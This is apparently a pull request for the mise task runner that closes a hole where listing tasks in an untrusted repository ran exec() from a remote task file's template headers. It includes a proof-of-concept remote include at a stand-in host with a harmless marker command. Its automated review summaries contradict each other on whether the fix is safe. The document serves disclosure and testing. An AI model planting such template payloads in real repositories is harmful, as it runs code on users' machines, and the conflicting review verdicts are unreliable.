Listing the tasks of a directory you have not trusted could run a command from a remote task file. A mise.toml that holds only [tasks] loads without trust, so this is enough:

# mise.toml in a freshly cloned, untrusted repository
[tasks.build]
file = "https://example.com/build.sh"

#!/usr/bin/env bash
#MISE description="{{ exec(command='touch /tmp/PWNED') }}Build"

mise tasks ls, mise tasks info build and mise tasks validate downloaded build.sh and rendered its #MISE headers, so exec() ran with no trust prompt. The same template written in mise.toml itself, or in a local task file such as mise-tasks/build.sh, is already refused until the config is trusted.

A remote task file now follows the rule for local task includes. When its #MISE headers contain template syntax, the config that names it must be trusted before they render. In an untrusted directory, mise asks to trust it, or fails with Config files in … are not trusted when it cannot ask, and nothing renders. Only the headers are checked, because only they render: braces elsewhere in the script, such as docker ps --format '{{.Names}}', need no trust. They are read the same way when a git:: file is named *.toml. A remote file with no template in its headers still lists without trust, and a trusted config renders as before. mise run keeps trusting the config it runs, as it does for local tasks. Safe mode still waives trust, since exec() and read_file() are disabled there.

#12202 (and #11113 before it) by @risu729 reported this and proposed a wider rework of remote task metadata, which pr-closer closed. This is a narrower fix built on main's existing trust check for task includes. They are credited as co-author.

Validation

• New e2e/tasks/test_task_remote_http_trust, with the remote files served from a local HTTP server:
  • In an untrusted directory, mise tasks ls, mise tasks info and mise tasks validate each fail with not trusted, and the exec() marker file is not created.
  • A remote file whose headers have no template still lists without trust, with {{.Names}} in its script body.
  • With the config trusted, a templated remote file renders.
• Unit test test_header_checks_ignore_the_file_name: an escaped template in the header of a file named evil.toml needs trust (read as a TOML document, the header is a comment), and a template in the script body does not.
• On Linux, in a rust:1 container, the test passes with this branch's build. Run against the released 2026.10.8, the same test fails with remote task template executed by untrusted 'mise tasks ls'.
• cargo clippy --workspace --all-features --all-targets -- -D warnings passes.

Summary by CodeRabbit

• Security
  • Remote task files that require trust are checked before loading. Untrusted files return a trust error when listed, inspected, or validated, without creating a trust marker.
  • Trust checks apply to remote task files with decoded templates or secret declarations in their #MISE headers.
• Bug Fixes
  • Remote task files with plain headers remain available without requiring trust.
  • Templated remote task descriptions render when the referencing configuration is trusted.

📝 Walkthrough

Remote task fetching now checks trust before parsing a downloaded task file. The trust classification includes templates and secret declarations in remote task headers. End-to-end tests cover untrusted configurations, template-free tasks, and trusted configurations.

Changes: Remote task trust

Layer / File(s)	Summary
Classify remote task files for trust src/config/mod.rs, src/task/mod.rs	Remote files require trust in paranoid mode, when unreadable, or when decoded #MISE headers contain templates or declare secrets. Header checks parse entries independently and ignore entries that fail to parse. Tests cover decoded templates, secret declarations, and header checks that do not treat script-body text as header templates.
Check trust before parsing remote tasks src/task/task_fetcher.rs, e2e/tasks/test_task_remote_http_trust	TaskFetcher::fetch_tasks checks trust before parsing. End-to-end tests verify trust errors for untrusted templated tasks, listing of plain-header tasks without trust, and rendered headers when the configuration is trusted.

Merge Risk: 🟠 High · up to 43aa9

A templated remote include can still run code during task listing without a trust check in a reachable mixed-config setup. Check each include against its declaring config before merging.

Confidence Score: 5/5

[Critical impact] The PR appears safe to merge; no actionable new issues remain.

Summary

Remote task files now require their referencing config to be trusted before templated headers render.

• Remote task headers wait for their config's trust before rendering.

The earlier unnumbered finding about escaped Git headers is fixed. The remote check now reads headers regardless of extension.

Review used the full PR diff because the previous-review ancestry and merge-base checks did not pass. No tests were run.
